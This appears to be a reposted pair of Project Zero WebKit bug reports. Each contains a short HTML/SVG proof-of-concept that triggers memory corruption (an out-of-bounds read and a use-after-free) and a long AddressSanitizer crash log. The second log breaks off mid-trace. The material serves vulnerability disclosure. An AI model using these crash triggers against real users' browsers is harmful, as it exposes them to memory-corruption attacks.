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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1350

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<svg stroke="url(#pattern)">
<pattern id="pattern" xlink:href="#filter">
</pattern>
<line x1="0" y1="0" x2="1" y2="1" />
<filter id="filter" height="0" />

/*
=================================================================

ASan log:

=================================================================
==30453==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200007e474 at pc 0x0001130a7153 bp 0x7fff5463b410 sp 0x7fff5463b408
READ of size 8 at 0x61200007e474 thread T0
==30453==WARNING: invalid path to external symbolizer!
==30453==WARNING: Failed to use and restart external symbolizer!
    #0 0x1130a7152 in WebCore::SVGPatternElement::collectPatternAttributes(WebCore::PatternAttributes&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e99152)
    #1 0x112a5145a in WebCore::RenderSVGResourcePattern::collectPatternAttributes(WebCore::PatternAttributes&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284345a)
    #2 0x112a52ec8 in WebCore::RenderSVGResourcePattern::applyResource(WebCore::RenderElement&, WebCore::RenderStyle const&, WebCore::GraphicsContext*&, WTF::OptionSet<WebCore::RenderSVGResourceMode>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2844ec8)
    #3 0x112a5ba15 in WebCore::RenderSVGShape::strokeShape(WebCore::RenderStyle const&, WebCore::GraphicsContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284da15)
    #4 0x112a5bd93 in WebCore::RenderSVGShape::strokeShape(WebCore::GraphicsContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284dd93)
    #5 0x112a5bf73 in WebCore::RenderSVGShape::fillStrokeMarkers(WebCore::PaintInfo&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284df73)
    #6 0x112a5c607 in WebCore::RenderSVGShape::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284e607)
    #7 0x112a5808c in WebCore::RenderSVGRoot::paintReplaced(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284a08c)
    #8 0x1129f2437 in WebCore::RenderReplaced::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27e4437)
    #9 0x11286144d in WebCore::RenderElement::paintAsInlineBlock(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x265344d)
    #10 0x1111dca7c in WebCore::InlineElementBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfcea7c)
    #11 0x1111eaf61 in WebCore::InlineFlowBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfdcf61)
    #12 0x112bce3fb in WebCore::RootInlineBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29c03fb)
    #13 0x11296d30a in WebCore::RenderLineBoxList::paint(WebCore::RenderBoxModelObject*, WebCore::PaintInfo&, WebCore::LayoutPoint const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x275f30a)
    #14 0x11274fd8f in WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541d8f)
    #15 0x1127510f0 in WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25430f0)
    #16 0x11274fa11 in WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541a11)
    #17 0x1127504a7 in WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool, WebCore::RenderBlock::PaintBlockType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25424a7)
    #18 0x11274ffae in WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541fae)
    #19 0x11274fe87 in WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541e87)
    #20 0x1127510f0 in WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25430f0)
    #21 0x11274fa11 in WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541a11)
    #22 0x11290e9e6 in WebCore::RenderLayer::paintForegroundForFragmentsWithPhase(WebCore::PaintPhase, WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow, 16ul> const&, WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27009e6)
    #23 0x11290a93b in WebCore::RenderLayer::paintForegroundForFragments(WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow, 16ul> const&, WebCore::GraphicsContext&, WebCore::GraphicsContext&, WebCore::LayoutRect const&, bool, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26fc93b)
    #24 0x112905528 in WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f7528)
    #25 0x1129029a2 in WebCore::RenderLayer::paintLayer(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f49a2)
    #26 0x11290a5ef in WebCore::RenderLayer::paintList(WTF::Vector<WebCore::RenderLayer*, 0ul, WTF::CrashOnOverflow, 16ul>*, WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26fc5ef)
    #27 0x1129055ba in WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f75ba)
    #28 0x11293f3c6 in WebCore::RenderLayerBacking::paintIntoLayer(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, WebCore::IntRect const&, unsigned int, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27313c6)
    #29 0x11293fb5f in WebCore::RenderLayerBacking::paintContents(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, unsigned int, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2731b5f)
    #30 0x110e69212 in WebCore::GraphicsLayer::paintGraphicsLayerContents(WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc5b212)
    #31 0x110e7d715 in WebCore::GraphicsLayerCA::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc6f715)
    #32 0x112690ca8 in WebCore::PlatformCALayer::drawLayerContents(CGContext*, WebCore::PlatformCALayer*, WTF::Vector<WebCore::FloatRect, 5ul, WTF::CrashOnOverflow, 16ul>&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2482ca8)
    #33 0x1131ccb57 in WebCore::TileGrid::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fbeb57)
    #34 0x11345a2c7 in -[WebSimpleLayer drawInContext:] (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x324c2c7)
    #35 0x7fffdadc0891 in CABackingStoreUpdate_ (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x13891)
    #36 0x7fffdaedf557 in invocation function for block in CA::Layer::display_() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x132557)
    #37 0x7fffdaedf06f in CA::Layer::display_() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x13206f)
    #38 0x113459fbc in -[WebSimpleLayer display] (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x324bfbc)
    #39 0x7fffdaed3051 in CA::Layer::display_if_needed(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x126051)
    #40 0x7fffdaed317c in CA::Layer::layout_and_display_if_needed(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x12617c)
    #41 0x7fffdaec8933 in CA::Context::commit_transaction(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x11b933)
    #42 0x7fffdadbd7e0 in CA::Transaction::commit() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x107e0)
    #43 0x7fffdadbe1fb in CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, void*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x111fb)
    #44 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #45 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #46 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #47 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #48 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #49 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #50 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #51 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #52 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #53 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #54 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #55 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #56 0x10b5bf56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #57 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x61200007e474 is located 28 bytes to the right of 280-byte region [0x61200007e340,0x61200007e458)
allocated by thread T0 here:
    #0 0x10b626d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11ede4ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11ede2d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11ed69247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11ed6863a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x110354648 in WebCore::Node::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x146648)
    #7 0x113041e7d in WebCore::SVGFilterElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e33e7d)
    #8 0x112ff58a3 in WebCore::filterConstructor(WebCore::QualifiedName const&, WebCore::Document&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2de78a3)
    #9 0x112ff294d in WebCore::SVGElementFactory::createElement(WebCore::QualifiedName const&, WebCore::Document&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2de494d)
    #10 0x11099ad80 in WebCore::Document::createElement(WebCore::QualifiedName const&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78cd80)
    #11 0x110f1ed2d in WebCore::HTMLConstructionSite::createElement(WebCore::AtomicHTMLToken&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd10d2d)
    #12 0x110f1eabe in WebCore::HTMLConstructionSite::insertForeignElement(WebCore::AtomicHTMLToken&&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd10abe)
    #13 0x11108190a in WebCore::HTMLTreeBuilder::processTokenInForeignContent(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe7390a)
    #14 0x111080d07 in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe72d07)
    #15 0x110f49c8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #16 0x110f49849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #17 0x110f489c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #18 0x110f4a4e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #19 0x110928531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #20 0x110a6563d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #21 0x110a26736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #22 0x1104a2047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #23 0x11049adf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #24 0x112f72661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #25 0x10db2d43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #26 0x10db306d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #27 0x10db2fbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #28 0x10d321117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #29 0x10d100695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e99152) in WebCore::SVGPatternElement::collectPatternAttributes(WebCore::PatternAttributes&) const
Shadow bytes around the buggy address:
  0x1c240000fc30: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fc40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fc50: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
  0x1c240000fc60: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c240000fc80: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa[fa]fa
  0x1c240000fc90: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fcc0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30453==ABORTING
*/
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1351

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function eventhandler1() {
try { txt.appendChild(kg); } catch(e) { }
}

function eventhandler2() {
try { anim.appendChild(kg); } catch(e) { }
}

function eventhandler3() {
try { table.scrollIntoView(true); } catch(e) { }
}

</script>
<table id="table"></table>
<form>
<keygen id="kg" autofocus="autofocus">
</form>
<svg>
<animate id="anim" attributeName="text-anchor" from="middle" to="inherit" onbegin="eventhandler1()" />
<text id="txt" onload="eventhandler3()">
<font color="white"></font>
<select onfocus="eventhandler2()" autofocus="autofocus">
<textarea>a</textarea>
<iframe onload="eventhandler1()"></iframe>

<!--
=================================================================

ASan log:

=================================================================
==30588==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000077ec8 at pc 0x00010dfdcb30 bp 0x7fff56cdb5a0 sp 0x7fff56cdb598
READ of size 8 at 0x608000077ec8 thread T0
==30588==WARNING: invalid path to external symbolizer!
==30588==WARNING: Failed to use and restart external symbolizer!
    #0 0x10dfdcb2f in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f)
    #1 0x110ce1def in WebCore::Style::TreeResolver::parentBoxStyle() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bdef)
    #2 0x110ce1acc in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bacc)
    #3 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
    #4 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
    #5 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #6 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #7 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #8 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #9 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #10 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #11 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #12 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #13 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #14 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #15 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #16 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #17 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #18 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #19 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #20 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #21 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #22 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #23 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x608000077ec8 is located 40 bytes inside of 88-byte region [0x608000077ea0,0x608000077ef8)
freed by thread T0 here:
    #0 0x10c6dc294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11cb6c650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x110ce4081 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4e081)
    #3 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
